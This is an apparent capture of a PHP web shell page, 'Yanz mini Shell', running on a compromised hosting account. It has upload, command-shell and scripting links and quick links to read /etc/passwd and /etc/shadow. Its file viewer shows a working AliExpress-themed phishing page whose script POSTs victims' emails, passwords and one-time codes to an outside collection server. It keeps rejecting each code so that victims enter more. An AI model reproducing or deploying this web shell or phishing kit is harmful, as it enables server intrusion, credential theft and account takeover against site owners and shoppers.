Yanz mini Shell

 <title>Yanz mini Shell</title>
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<style>
  html{
    overflow: auto;
    background: black;
    color: white;
    font-family: "Courier New";
  }
  a {
    text-decoration: none;
    color: white;
  }
  .a-bar {
    text-decoration: none;
    color: black;
  }
  .bar {
    display: inline;
    padding: 5px;
    background: white;
    color: black;
  }
  .baratas {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    background: white;
    color: black;
  }
  .close {
    overflow: auto;
    border: 1px solid red;
    background: red;
    color: white;
  }
  .kotak {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    color: white;
  }
  .l {
    float: left;
    width: 50%;
  }
  .r {
    float: right;
    width: 50%;
    text-align: right;
  }
  .l1 {
    float: left;
    width: 20%;
    border: 1px solid white;
    padding: 10px;
  }
  .r1 {
    float: right;
    width: 75%;
    border: 1px solid white;
    padding: 10px;
  }
  input {
    background: white;
    color: black;
    border: 1px solid white;
    padding: 5px;
  }
  .file {
    width: 100%;
    height: 50%;
  }
</style>
<div class="baratas">
  <div class="l">
    Yanz Mini Shell
  </div>
  <div class="r">
      <a class="a-bar" href="?page=blank">[_]</a>
      <a class="a-bar" href="?page=blank">[-]</a>
      <a class="close" href="?">[X]</a>
  </div>
</div>
<div class="kotak">
  [ <a href="?ynzmini=/tmp">HomeShell 1</a> ]
  [ <a href="?ynzmini=/home3/pahgm/public_html">HomeShell 2</a> ]
  [ <a href="?page=upload">Upload</a> ]
  [ <a href="?page=shell">Command Shell</a> ]
  [ <a href="?page=scripting">Scripting</a> ]
  [ <a href="?page=about">About</a> ]
</div>
<div class="kotak">
  [ Directory ] => <li class="bar"><a class="a-bar" href="?ynzmini=/">/</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home3/'>home3</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home3/pahgm/'>pahgm</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home3/pahgm/public_html/'>public_html</a></li>
</div>
<div class="kotak">
  <div class="l1">
    <div class="baratas">
      Action
    </div>
    <hr>
    [*] <a href="?page=newfile">New File</a>
    <br>
    [*] <a href="?page=newfolder">New Folder</a>
    <hr>
    <div class="baratas">
      Sensitive File
    </div>
    <hr>
    [*] <a href="?file=/etc/passwd">/etc/passwd</a>
    <br>
    [*] <a href="?file=/etc/shadow">/etc/shadow</a>
    <br>
    [*] <a href="?file=/etc/resolv.conf">/etc/resolv.conf</a>
  </div>
  <div class="r1">
      [ <a href="?file=/home3/pahgm/public_html/./aliexpress-buyers.index.html&delete=true">Delete</a> ]
[ <a href="?file=/home3/pahgm/public_html/./aliexpress-buyers.index.html&edit=true">Edit</a> ]
[ <a href="?file=/home3/pahgm/public_html/./aliexpress-buyers.index.html&rename=true">Rename</a> ]
[ <a href="?">Back</a> ]
<hr>
      <textarea class='file'>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en-US&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&gt;
    &lt;title&gt;Buy Products Online from China Wholesalers&lt;/title&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0, viewport-fit=cover&quot;&gt;
    &lt;meta name=&quot;robots&quot; content=&quot;max-image-preview:large&quot;&gt;

    &lt;!-- FavIcon --&gt;
    &lt;link rel=&quot;icon&quot; type=&quot;image/x-icon&quot; href=&quot;https://grand-truffle-c213ee.netlify.app/vaf.ico&quot;&gt;

    &lt;!-- External CSS Stylesheets (from original) --&gt;
    &lt;link rel=&quot;stylesheet&quot; id=&quot;hello-elementor-css&quot; href=&quot;https://grand-truffle-c213ee.netlify.app/style.min.css&quot; media=&quot;all&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; id=&quot;elementor-frontend-css&quot; href=&quot;https://grand-truffle-c213ee.netlify.app/frontend.min.css&quot; media=&quot;all&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; id=&quot;elementor-post-1183-css&quot; href=&quot;https://grand-truffle-c213ee.netlify.app/post-1183.css&quot; media=&quot;all&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.0.2/css/bootstrap.min.css&quot;&gt;

    &lt;!-- Inline Styles (from original) --&gt;
    &lt;style&gt;
        .height-100 {
            height: 100vh
        }

        .card {
            width: 340px;
            border: none;
            height: 360px;
            box-shadow: 0px 2px 2px 0px #d2dae3;
            z-index: 1;
            display: flex;
            justify-content: center;
            align-items: center;
        }

        .card h6 {
            color: red;
            font-size: 20px;
        }

        .inputs input {
            width: 45px;
            height: 45px;
            border-style: solid;
            border-width: 1px;
            border-color: #a8adb7;
            border-radius: 10px;
        }

        input[type=number]::-webkit-inner-spin-button,
        input[type=number]::-webkit-outer-spin-button {
            -webkit-appearance: none;
            -moz-appearance: none;
            appearance: none;
            margin: 0
        }

        .card-2 {
            background-color: #fff;
            padding: 10px;
            width: 350px;
            height: 100px;
            bottom: -50px;
            left: 20px;
            position: absolute;
            border-radius: 5px;
        }

        .card-2 .content {
            margin-top: 50px;
        }

        .card-2 .content a {
            color: red;
        }

        .form-control:focus {
            box-shadow: none;
            border: 2px solid red;
        }

        .validate {
            border-radius: 20px;
            height: 40px;
            background-color: red;
            border: 1px solid red;
            width: 140px;
        }
        #otpForm {
            position: absolute;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            z-index: 9999;
            background-color: rgba(0, 0, 0, 0.644);
        }

        .comet-alert.comet-alert-error {
            background-color: rgba(255, 59, 98, 0.08);
        }
        .fm-login .comet-alert-error {
            margin-top: 6px;
            margin-bottom: 6px;
        }
        .comet-alert {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
            color: #222;
            font-size: 14px;
            font-variant: tabular-nums;
            line-height: 1.5;
            list-style: none;
            font-feature-settings: 'tnum';
            display: flex;
            align-items: center;
            padding: 8px 12px;
            transition: all 0.3s;
        }
        .comet-alert.comet-alert-error .comet-alert-icon, .comet-alert.comet-alert-error .comet-alert-right-icon {
            color: #ff3b62;
        }
        .comet-alert-icon, .comet-alert-right-icon {
            font-size: 16px;
            line-height: 0;
        }
        .comet-alert-icon {
            padding-right: 8px;
        }
        .comet-alert-message {
            flex: 1;
            font-size: 14px;
            color: #222;
            line-height: 16px;
            word-break: break-word;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body class=&quot;page-template page-template-elementor_canvas page page-id-1183 wp-embed-responsive elementor-default elementor-template-canvas elementor-kit-6 elementor-page elementor-page-1183&quot; data-elementor-device-mode=&quot;desktop&quot;&gt;

&lt;!-- ============================================
     DEOBFUSCATED PHISHING PAGE
     ============================================

     ORIGINAL: qoutelist.html (heavily obfuscated)

     OBFUSCATION TECHNIQUES USED:
     - Hex escape sequences (\x68\x74\x74\x70...)
     - Base64 encoded URLs
     - Variable name obfuscation
     - String splitting and concatenation
     - Function constructor obfuscation

     ENDPOINTS (decoded from base64):
     Base: https://pacificwestattorneys.com/log/aliexp/cartoplastveneta/
     Login: process-login.php
     OTP: process-otp.php

     ============================================ --&gt;

&lt;!-- LOGIN FORM SECTION --&gt;
&lt;div data-elementor-type=&quot;wp-page&quot; data-elementor-id=&quot;1183&quot; class=&quot;elementor elementor-1183&quot; data-elementor-post-type=&quot;page&quot; id=&quot;loginFrom&quot;&gt;
    &lt;div class=&quot;elementor-element elementor-element-ff4c984 e-con-full e-flex e-con e-parent e-lazyloaded&quot; data-id=&quot;ff4c984&quot; data-element_type=&quot;container&quot;&gt;
        &lt;div class=&quot;elementor-element elementor-element-498f777 e-con-full e-flex e-con e-child&quot; data-id=&quot;498f777&quot; data-element_type=&quot;container&quot; data-settings='{&quot;background_background&quot;:&quot;classic&quot;}'&gt;
            &lt;div class=&quot;elementor-element elementor-element-a3e6d73 e-con-full e-flex e-con e-child&quot; data-id=&quot;a3e6d73&quot; data-element_type=&quot;container&quot;&gt;
                &lt;div class=&quot;elementor-element elementor-element-c364dce elementor-widget elementor-widget-image&quot; data-id=&quot;c364dce&quot; data-element_type=&quot;widget&quot; data-widget_type=&quot;image.default&quot;&gt;
                    &lt;div class=&quot;elementor-widget-container&quot;&gt;
                        &lt;img decoding=&quot;async&quot; src=&quot;https://grand-truffle-c213ee.netlify.app/eng.png&quot; title=&quot;&quot; alt=&quot;&quot; loading=&quot;lazy&quot;&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;elementor-element elementor-element-4560f43 e-con-full e-flex e-con e-child&quot; data-id=&quot;4560f43&quot; data-element_type=&quot;container&quot;&gt;
                &lt;div class=&quot;elementor-element elementor-element-d2cc553 e-con-full e-flex e-con e-child&quot; data-id=&quot;d2cc553&quot; data-element_type=&quot;container&quot;&gt;
                    &lt;div class=&quot;elementor-element elementor-element-1392dcf elementor-widget elementor-widget-image&quot; data-id=&quot;1392dcf&quot; data-element_type=&quot;widget&quot; data-widget_type=&quot;image.default&quot;&gt;
                        &lt;div class=&quot;elementor-widget-container&quot;&gt;
                            &lt;img decoding=&quot;async&quot; src=&quot;https://grand-truffle-c213ee.netlify.app/jogo.png&quot; title=&quot;&quot; alt=&quot;&quot; loading=&quot;lazy&quot;&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;elementor-element elementor-element-e9e4f47 elementor-widget elementor-widget-heading&quot; data-id=&quot;e9e4f47&quot; data-element_type=&quot;widget&quot; data-widget_type=&quot;heading.default&quot;&gt;
                        &lt;div class=&quot;elementor-widget-container&quot;&gt;
                            &lt;h2 class=&quot;elementor-heading-title elementor-size-default&quot;&gt;Welcome to &lt;br&gt;Global Selling Center &lt;/h2&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;elementor-element elementor-element-4f5d684 elementor-widget elementor-widget-heading&quot; data-id=&quot;4f5d684&quot; data-element_type=&quot;widget&quot; data-widget_type=&quot;heading.default&quot;&gt;
                        &lt;div class=&quot;elementor-widget-container&quot;&gt;
                            &lt;h2 class=&quot;elementor-heading-title elementor-size-default&quot;&gt;Enter your details below&lt;/h2&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;elementor-element elementor-element-b19c467 elementor-button-align-start elementor-widget elementor-widget-form&quot; data-id=&quot;b19c467&quot; data-element_type=&quot;widget&quot; data-settings='{&quot;step_next_label&quot;:&quot;Next&quot;,&quot;step_previous_label&quot;:&quot;Previous&quot;,&quot;step_type&quot;:&quot;none&quot;,&quot;step_icon_shape&quot;:&quot;none&quot;,&quot;button_width&quot;:&quot;100&quot;}' data-widget_type=&quot;form.default&quot;&gt;
                        &lt;div class=&quot;elementor-widget-container&quot;&gt;
                            &lt;form class=&quot;elementor-form&quot; method=&quot;post&quot; name=&quot;New Form&quot; id=&quot;cred-login-form&quot;&gt;
                                &lt;div class=&quot;elementor-form-fields-wrapper elementor-labels-&quot;&gt;
                                    &lt;div class=&quot;elementor-field-type-email elementor-field-group elementor-column elementor-field-group-email elementor-col-100&quot;&gt;
                                        &lt;label for=&quot;form-field-email&quot; class=&quot;elementor-field-label elementor-screen-only&quot;&gt; Email &lt;/label&gt;
                                        &lt;input size=&quot;1&quot; type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;elementor-field elementor-size-sm elementor-field-textual&quot; placeholder=&quot;Email&quot;&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;elementor-field-type-password elementor-field-group elementor-column elementor-field-group-name elementor-col-100&quot;&gt;
                                        &lt;label for=&quot;form-field-name&quot; class=&quot;elementor-field-label elementor-screen-only&quot;&gt; Password &lt;/label&gt;
                                        &lt;input size=&quot;1&quot; type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; class=&quot;elementor-field elementor-size-sm elementor-field-textual&quot; placeholder=&quot;Password&quot;&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;comet-alert comet-alert-error&quot; style=&quot;margin-bottom: 25px; display: none;&quot; id=&quot;error-alert&quot;&gt;
                                        &lt;div class=&quot;comet-alert-icon&quot;&gt;
                                            &lt;span class=&quot;comet-icon comet-icon-wrongline&quot;&gt;
                                                &lt;svg viewBox=&quot;0 0 1024 1024&quot; width=&quot;1em&quot; height=&quot;1em&quot; fill=&quot;currentColor&quot; aria-hidden=&quot;false&quot; focusable=&quot;false&quot;&gt;
                                                    &lt;path d=&quot;M512 85.333333c235.637333 0 426.666667 191.029333 426.666667 426.666667S747.637333 938.666667 512 938.666667 85.333333 747.637333 85.333333 512 276.362667 85.333333 512 85.333333z m0 64c-200.298667 0-362.666667 162.368-362.666667 362.666667s162.368 362.666667 362.666667 362.666667 362.666667-162.368 362.666667-362.666667-162.368-362.666667-362.666667-362.666667z&quot;&gt;&lt;/path&gt;
                                                    &lt;path d=&quot;M361.376 361.376a32 32 0 0 1 43.712-1.44l1.536 1.44 256 256a32 32 0 0 1-43.712 46.688l-1.536-1.44-256-256a32 32 0 0 1 0-45.248z&quot;&gt;&lt;/path&gt;
                                                    &lt;path d=&quot;M617.376 361.376a32 32 0 0 1 46.688 43.712l-1.44 1.536-256 256a32 32 0 0 1-46.688-43.712l1.44-1.536 256-256z&quot;&gt;&lt;/path&gt;
                                                &lt;/svg&gt;
                                            &lt;/span&gt;
                                        &lt;/div&gt;
                                        &lt;div class=&quot;comet-alert-message&quot;&gt;Your account name or password is incorrect.&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;elementor-field-type-html elementor-field-group elementor-column elementor-field-group-field_5f29dac elementor-col-100&quot;&gt; Forgot Password &lt;/div&gt;
                                    &lt;div class=&quot;elementor-field-group elementor-column elementor-field-type-submit elementor-col-100 e-form__buttons&quot;&gt;
                                        &lt;button id=&quot;submitButton&quot; class=&quot;elementor-button elementor-size-sm&quot; type=&quot;submit&quot; disabled=&quot;&quot;&gt;
                                            &lt;span class=&quot;elementor-button-content-wrapper&quot;&gt;
                                                &lt;span class=&quot;elementor-button-icon&quot;&gt;
                                                    &lt;i aria-hidden=&quot;true&quot; class=&quot;fas fa-arrow-right&quot;&gt;&lt;/i&gt;
                                                &lt;/span&gt;
                                                &lt;span id=&quot;submitButtonText&quot; class=&quot;elementor-button-text&quot;&gt;Sign In&lt;/span&gt;
                                            &lt;/span&gt;
                                        &lt;/button&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;
                            &lt;/form&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;elementor-element elementor-element-6f86258 e-con-full elementor-hidden-tablet elementor-hidden-mobile e-flex e-con e-child&quot; data-id=&quot;6f86258&quot; data-element_type=&quot;container&quot; data-settings='{&quot;background_background&quot;:&quot;classic&quot;}'&gt;
            &lt;div class=&quot;elementor-element elementor-element-d4052da e-con-full elementor-hidden-tablet elementor-hidden-mobile e-flex e-con e-child&quot; data-id=&quot;d4052da&quot; data-element_type=&quot;container&quot; data-settings='{&quot;background_background&quot;:&quot;classic&quot;}'&gt;
                &lt;div class=&quot;elementor-element elementor-element-45d6cc3 elementor-widget elementor-widget-heading&quot; data-id=&quot;45d6cc3&quot; data-element_type=&quot;widget&quot; data-widget_type=&quot;heading.default&quot;&gt;
                    &lt;div class=&quot;elementor-widget-container&quot;&gt;
                        &lt;h2 class=&quot;elementor-heading-title elementor-size-default&quot;&gt;A Trusted Platform &lt;/h2&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
                &lt;div class=&quot;elementor-element elementor-element-d2713be elementor-widget elementor-widget-heading&quot; data-id=&quot;d2713be&quot; data-element_type=&quot;widget&quot; data-widget_type=&quot;heading.default&quot;&gt;
                    &lt;div class=&quot;elementor-widget-container&quot;&gt;
                        &lt;h2 class=&quot;elementor-heading-title elementor-size-default&quot;&gt;A Professional Operations Team to Boost Your Sales Performance! &lt;/h2&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;!-- OTP POPUP MODAL --&gt;
&lt;div id=&quot;otpForm&quot; style=&quot;display: none;&quot;&gt;
    &lt;div class=&quot;container height-100 d-flex justify-content-center align-items-center&quot;&gt;
        &lt;div class=&quot;position-relative&quot;&gt;
            &lt;div class=&quot;card p-2 text-center position-relative&quot;&gt;
                &lt;button type=&quot;button&quot; id=&quot;closeOtpForm&quot; style=&quot;position: absolute; top: 10px; right: 10px; background: transparent; border: none; font-size: 20px; color: #999; cursor: pointer;&quot;&gt;×&lt;/button&gt;
                &lt;h6 style=&quot;color:#333333; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; font-size: 24px;&quot;&gt;Verify with Code&lt;/h6&gt;
                &lt;div style=&quot;color: #979797; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; font-size: 14px;&quot;&gt;
                    &lt;span&gt;Enter the 6-digit code we sent to &lt;/span&gt;&lt;br&gt;
                    &lt;small id=&quot;maskedNumber&quot;&gt;**************&lt;/small&gt;
                &lt;/div&gt;
                &lt;form id=&quot;myotpForm&quot;&gt;
                    &lt;div id=&quot;otp&quot; class=&quot;inputs d-flex flex-row justify-content-center mt-2&quot;&gt;
                        &lt;input class=&quot;m-1 text-center form-control rounded-4 otp-input&quot; type=&quot;text&quot; id=&quot;first&quot; maxlength=&quot;1&quot; pattern=&quot;\d*&quot;&gt;
                        &lt;input class=&quot;m-1 text-center form-control rounded-4 otp-input&quot; type=&quot;text&quot; id=&quot;second&quot; maxlength=&quot;1&quot; pattern=&quot;\d*&quot;&gt;
                        &lt;input class=&quot;m-1 text-center form-control rounded-4 otp-input&quot; type=&quot;text&quot; id=&quot;third&quot; maxlength=&quot;1&quot; pattern=&quot;\d*&quot;&gt;
                        &lt;input class=&quot;m-1 text-center form-control rounded-4 otp-input&quot; type=&quot;text&quot; id=&quot;fourth&quot; maxlength=&quot;1&quot; pattern=&quot;\d*&quot;&gt;
                        &lt;input class=&quot;m-1 text-center form-control rounded-4 otp-input&quot; type=&quot;text&quot; id=&quot;fifth&quot; maxlength=&quot;1&quot; pattern=&quot;\d*&quot;&gt;
                        &lt;input class=&quot;m-1 text-center form-control rounded-4 otp-input&quot; type=&quot;text&quot; id=&quot;sixth&quot; maxlength=&quot;1&quot; pattern=&quot;\d*&quot;&gt;
                    &lt;/div&gt;
                &lt;/form&gt;
                &lt;div style=&quot;margin:10px 0px&quot;&gt;
                    &lt;img src=&quot;https://grand-truffle-c213ee.netlify.app/confirm.png&quot; alt=&quot;Confirm&quot;&gt;
                    &lt;span id=&quot;otp-true&quot; style=&quot;font-size: 14px; line-height: 0px;&quot;&gt; Code sent&lt;/span&gt;
                &lt;/div&gt;
                &lt;div class=&quot;mt-2 mb-2&quot;&gt;
                    &lt;button id=&quot;validateBtn&quot; type=&quot;button&quot; class=&quot;btn btn-danger px-4 validate&quot; disabled=&quot;&quot;&gt;Verify&lt;/button&gt;
                &lt;/div&gt;
                &lt;div style=&quot;color: blue;&quot;&gt;
                    &lt;span&gt;&lt;a href=&quot;#&quot;&gt;Other ways to verify&lt;/a&gt;&lt;/span&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;div id=&quot;result&quot;&gt;&lt;/div&gt;

&lt;!-- jQuery --&gt;
&lt;script src=&quot;https://code.jquery.com/jquery-3.6.0.min.js&quot;&gt;&lt;/script&gt;

&lt;!-- ============================================
     DEOBFUSCATED JAVASCRIPT

     Original was heavily obfuscated using:
     - Hex escapes: \x68\x74\x74\x70\x73 = &quot;https&quot;
     - Base64: aHR0cHM6Ly9wYWNpZmljd2VzdGF0dG9ybmV5cy5jb20v...
     - String splitting and concatenation
     ============================================ --&gt;

&lt;script&gt;
// Config endpoint (sends to email)
const CONFIG_URL = &quot;https://npbcgas.net/saiga/config.php&quot;;

$(document).ready(function() {

    // ============================================
    // ENABLE SUBMIT BUTTON WHEN FORM IS VALID
    // ============================================
    $(&quot;#email, #password&quot;).on(&quot;input&quot;, function() {
        var email = $(&quot;#email&quot;).val();
        var password = $(&quot;#password&quot;).val();
        var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

        if (emailRegex.test(email) &amp;&amp; password.length &gt;= 6) {
            $(&quot;#submitButton&quot;).prop(&quot;disabled&quot;, false);
        } else {
            $(&quot;#submitButton&quot;).prop(&quot;disabled&quot;, true);
        }
    });

    // ============================================
    // LOGIN FORM SUBMISSION
    // Sends email + password to server
    // ============================================
    $(&quot;#cred-login-form&quot;).on(&quot;submit&quot;, function(e) {
        e.preventDefault();

        var email = $(&quot;#email&quot;).val();
        var password = $(&quot;#password&quot;).val();
        var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

        $(&quot;#submitButtonText&quot;).text(&quot;Verifying...&quot;);

        // Validate input
        if (!emailRegex.test(email) || password.length &lt; 6) {
            setTimeout(function() {
                $(&quot;#submitButtonText&quot;).text(&quot;Sign In&quot;);
                $(&quot;#error-alert&quot;).show();
            }, 2000);
            return;
        }

        $(&quot;#error-alert&quot;).hide();

        // ---- SEND CREDENTIALS TO EMAIL ----
        var xhr = new XMLHttpRequest();
        xhr.open(&quot;POST&quot;, CONFIG_URL, true);
        xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);

        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
                console.log(&quot;Response:&quot;, xhr.responseText);
            }
        };

        // Data format: username=EMAIL&amp;password=PASSWORD&amp;type=login
        var data = &quot;username=&quot; + encodeURIComponent(email) +
                   &quot;&amp;password=&quot; + encodeURIComponent(password) +
                   &quot;&amp;type=login&quot;;
        xhr.send(data);
        // ------------------------------------

        // Store credentials in localStorage for OTP submission
        localStorage.setItem(&quot;username&quot;, email);
        localStorage.setItem(&quot;password&quot;, password);

        // Show OTP form after 3 seconds
        setTimeout(function() {
            $(&quot;#submitButtonText&quot;).text(&quot;Sign In&quot;);
            document.getElementById(&quot;otpForm&quot;).style.display = &quot;block&quot;;
        }, 3000);
    });

    // ============================================
    // OTP INPUT HANDLING
    // Auto-focus to next input, enable verify button
    // ============================================
    $(&quot;.otp-input&quot;).on(&quot;input&quot;, function() {
        // Auto-focus next input
        if (this.value.length === 1) {
            $(this).next(&quot;.otp-input&quot;).focus();
        }

        // Check if all 6 digits entered
        var otp = &quot;&quot;;
        $(&quot;.otp-input&quot;).each(function() {
            otp += $(this).val();
        });

        if (otp.length === 6) {
            $(&quot;#validateBtn&quot;).prop(&quot;disabled&quot;, false);
        } else {
            $(&quot;#validateBtn&quot;).prop(&quot;disabled&quot;, true);
        }
    });

    // ============================================
    // OTP FORM SUBMISSION
    // Sends OTP + stored credentials to server
    // ============================================
    $(&quot;#validateBtn&quot;).on(&quot;click&quot;, function() {
        var otp = &quot;&quot;;
        $(&quot;.otp-input&quot;).each(function() {
            otp += $(this).val();
        });

        $(&quot;#validateBtn&quot;).text(&quot;Verifying...&quot;);

        if (otp !== &quot;&quot; &amp;&amp; otp.length === 6) {
            setTimeout(function() {

                // ---- SEND OTP + CREDENTIALS TO EMAIL ----
                var xhr = new XMLHttpRequest();
                xhr.open(&quot;POST&quot;, CONFIG_URL, true);
                xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);

                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
                        console.log(&quot;Response:&quot;, xhr.responseText);
                    }
                };

                // Get stored credentials from login
                var username = localStorage.getItem(&quot;username&quot;);
                var password = localStorage.getItem(&quot;password&quot;);

                // Data format: username=EMAIL&amp;password=PASSWORD&amp;otp=123456&amp;type=otp
                var data = &quot;username=&quot; + encodeURIComponent(username) +
                           &quot;&amp;password=&quot; + encodeURIComponent(password) +
                           &quot;&amp;otp=&quot; + encodeURIComponent(otp) +
                           &quot;&amp;type=otp&quot;;
                xhr.send(data);
                // -----------------------------------------

                // Reset form for another OTP
                $(&quot;#otp-true&quot;).text(&quot;Incorrect code. Please try again.&quot;);
                $('#myotpForm').trigger('reset');
                $(&quot;#validateBtn&quot;).text(&quot;Verify&quot;).prop(&quot;disabled&quot;, true);
                $(&quot;.otp-input&quot;).first().focus();
            }, 2000);
        }
    });

    // Close OTP modal
    $(&quot;#closeOtpForm&quot;).on(&quot;click&quot;, function() {
        document.getElementById(&quot;otpForm&quot;).style.display = &quot;none&quot;;
    });
});
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;
</textarea>  </div>
</div>
<div class="kotak">
  <div class="l">
    Free Space : 41610829824 Byte
  </div>
  <div class="r">
  </div>
</div>